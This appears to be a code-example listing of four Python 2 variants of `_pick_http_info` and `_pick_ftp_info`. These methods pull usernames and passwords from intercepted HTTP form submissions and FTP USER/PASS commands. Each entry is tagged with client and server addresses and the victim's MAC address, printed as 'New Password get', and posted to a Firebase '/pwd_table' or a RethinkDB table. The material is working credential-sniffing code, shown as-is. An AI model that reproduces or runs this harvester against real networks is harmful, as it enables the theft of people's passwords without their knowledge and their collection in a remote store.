예제 #1
0
    def _pick_http_info(self, data, client, server, dport, eth_src):
        self.info_counter += 1
        self.all_user_info[self.info_counter] = ({
            'client':
            client,
            'server':
            server,
            'app':
            APP.get(dport),
            'mac':
            add_colons_to_mac(binascii.hexlify(eth_src))
        })

        if data.get('account'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('account')[0]})
        elif data.get('username'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('username')[0]})
        elif data.get('identification'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('identification')[0]})
        elif data.get('id'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('id')[0]})
        elif data.get('os_username'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('os_username')[0]})
        elif data.get('txtAccount'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('txtAccount')[0]})
        elif data.get('email'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('email')[0]})
        else:
            self.all_user_info[self.info_counter].update({'login': None})

        if data.get('password'):
            self.all_user_info[self.info_counter].update(
                {'password': data.get('password')[0]})
        elif data.get('os_password'):
            self.all_user_info[self.info_counter].update(
                {'password': data.get('os_password')[0]})
        elif data.get('txtPwd'):
            self.all_user_info[self.info_counter].update(
                {'password': data.get('txtPwd')[0]})
        else:
            self.all_user_info[self.info_counter].update({'password': None})

        print "HTTP New Password get:"
        pprint(self.all_user_info[self.info_counter])
        self._firebase.post('/pwd_table',
                            self.all_user_info[self.info_counter])
예제 #2
0
    def _pick_http_info(self, data, client, server, dport, eth_src):
        self.info_counter += 1
        self.all_user_info[self.info_counter] = (
            {'client': client, 'server': server,
             'app': APP.get(dport),
             'mac': add_colons_to_mac(binascii.hexlify(eth_src))}
        )

        if data.get('account'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('account')[0]})
        elif data.get('username'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('username')[0]})
        elif data.get('identification'):
            self.all_user_info[self.info_counter].update({
                'login': data.get('identification')[0]})
        elif data.get('id'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('id')[0]})
        elif data.get('os_username'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('os_username')[0]})
        elif data.get('txtAccount'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('txtAccount')[0]})
        elif data.get('email'):
            self.all_user_info[self.info_counter].update(
                {'login': data.get('email')[0]})
        else:
            self.all_user_info[self.info_counter].update({'login': None})

        if data.get('password'):
            self.all_user_info[self.info_counter].update(
                {'password': data.get('password')[0]})
        elif data.get('os_password'):
            self.all_user_info[self.info_counter].update(
                {'password': data.get('os_password')[0]})
        elif data.get('txtPwd'):
            self.all_user_info[self.info_counter].update(
                {'password': data.get('txtPwd')[0]})
        else:
            self.all_user_info[self.info_counter].update({'password': None})

        print "[-] HTTP New Password get:"
        pprint(self.all_user_info[self.info_counter])
        r.table('pwd_table').insert([self.all_user_info[self.info_counter]]).run(self.rdb_conn)
예제 #3
0
    def _pick_ftp_info(self, data, client, server, dport, eth_src):
        self.devices_mac.setdefault(add_colons_to_mac(eth_src), {})

        self.devices_mac[add_colons_to_mac(eth_src)]['client'] = client
        self.devices_mac[add_colons_to_mac(eth_src)]['server'] = server
        self.devices_mac[add_colons_to_mac(eth_src)]['app'] = APP.get(dport)
        self.devices_mac[add_colons_to_mac(eth_src)]['mac'] = (
            add_colons_to_mac(eth_src))

        if data.get('USER'):
            self.devices_mac[add_colons_to_mac(eth_src)].update(
                {'login': data.get('USER')})
        if data.get('PASS'):
            self.devices_mac[add_colons_to_mac(eth_src)].update(
                {'password': data.get('PASS')})

        device_info = self.devices_mac[add_colons_to_mac(eth_src)]

        if 'login' and 'password' in device_info.keys():
            print "FTP New Password get:"
            pprint(self.devices_mac[add_colons_to_mac(eth_src)])
            self._firebase.post('/pwd_table',
                                self.devices_mac[add_colons_to_mac(eth_src)])

            # When push to firebase delete it
            del self.devices_mac[add_colons_to_mac(eth_src)]
예제 #4
0
    def _pick_ftp_info(self, data, client, server, dport, eth_src):
        self.devices_mac.setdefault(add_colons_to_mac(eth_src), {})

        self.devices_mac[add_colons_to_mac(eth_src)]['client'] = client
        self.devices_mac[add_colons_to_mac(eth_src)]['server'] = server
        self.devices_mac[add_colons_to_mac(eth_src)]['app'] = APP.get(dport)
        self.devices_mac[add_colons_to_mac(eth_src)]['mac'] = (
            add_colons_to_mac(eth_src))

        if data.get('USER'):
            self.devices_mac[add_colons_to_mac(eth_src)].update(
                {'login': data.get('USER')})
        if data.get('PASS'):
            self.devices_mac[add_colons_to_mac(eth_src)].update(
                {'password': data.get('PASS')})

        device_info = self.devices_mac[add_colons_to_mac(eth_src)]

        if 'login' and 'password' in device_info.keys():
            print "[-] FTP New Password get:"
            pprint(self.devices_mac[add_colons_to_mac(eth_src)])
            r.table('pwd_table').insert([self.devices_mac[add_colons_to_mac(eth_src)]]).run(self.rdb_conn)

            # When push to firebase delete it
            del self.devices_mac[add_colons_to_mac(eth_src)]